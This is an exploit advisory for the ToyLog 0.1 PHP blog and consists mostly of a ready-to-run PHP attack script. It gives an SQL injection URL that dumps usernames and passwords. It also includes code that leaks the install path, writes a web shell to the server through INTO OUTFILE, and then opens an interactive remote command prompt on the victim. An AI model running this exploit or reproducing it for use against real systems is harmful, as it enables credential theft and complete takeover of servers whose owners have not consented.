--+++=====================================================================================+++--
--+++====== ToyLog 0.1 SQL Injection Vulnerability/Remote Command Execution Exploit ======+++--
--+++=====================================================================================+++--

[+] SQL Injection Vulnerability
Url: http://localhost/ToyLog/read.php?idm=1%20UNION%20ALL%20SELECT%201,username,password,4%20FROM%20user

[+] Remote Command Execution Exploit

#!/usr/bin/php
<?php

function usage () {
 exit ( "\n".
  "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n".
  "-                                                   -\n".
  "+ ToyLog 0.1 Remote Command Execution Exploit       +\n".
  "- Author  : darkjoker                               -\n".
  "+ Site    : http://darkjoker.net23.net              +\n".
  "- Download: http://sourceforge.net/projects/toylog/ -\n".
  "+ Usage   : php xpl.php <url>                       +\n".
  "- Ex.     : php xpl.php http://localhost/ToyLog/    -\n".
  "+                                                   +\n".
  "-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n".
  "\n");
}

function hex_format ($string) {
 $i=0;
 while ($i<strlen($string))
  $hex .= "%".dechex(ord($string[$i++]));
 return $hex;
}

function get_path ($host, $dir) {
 $fp = fsockopen ($host, 80);
 $query = hex_format ("1 UNION ALL SELECT * FROM does_not_exist");
 $req = "GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".
  "Host: {$host}\r\n".
  "Connection: Close\r\n\r\n";
 fputs ($fp, $req);
 while (!feof ($fp))
  if (preg_match ("|resource in <b>(.+?)</b> on|", fgets ($fp, 1024), $data))
   $path = $data [1];
 list ($path) = explode ("block/db.php", $path);
 fclose ($fp);
 return $path;
}

function upload_shell ($host, $dir) {
 $fp = fsockopen ($host, 80);
 $shell_path = get_path ($host, $dir)."shell.php";
 if (!strcmp ($shell_path, "shell.php"))
  die ("[-] Exploit failed.\n");
 $query = hex_format('1 UNION ALL SELECT 1,2,\'xxx<?php system (stripslashes($_GET[\\\'cmd\\\'])); ?>xxx\',4 INTO OUTFILE \''.$shell_path.'\' FROM post');
 $req = "GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".
  "Host: {$host}\r\n".
  "Connection: Close\r\n\r\n";
 fputs ($fp, $req);
 fclose ($fp);
}

if (!preg_match ("|http://(.+?)(/.+/)|", $argv [1], $data))
 usage ();
array_shift ($data);
list ($host, $dir) = $data;
upload_shell ($host, $dir);
$stdin = fopen ("php://stdin", "r");
while (1) {
 echo "backdoor@{$host}: ";
 $cmd = hex_format(trim (fgets ($stdin, 1024)));
 if (!strcmp ($cmd, hex_format("exit")))
  break;
 $out = explode ("xxx", file_get_contents ("http://{$host}{$dir}shell.php?cmd={$cmd}"));
 array_shift ($out);
 array_pop ($out);
 echo $out [0];
}

?>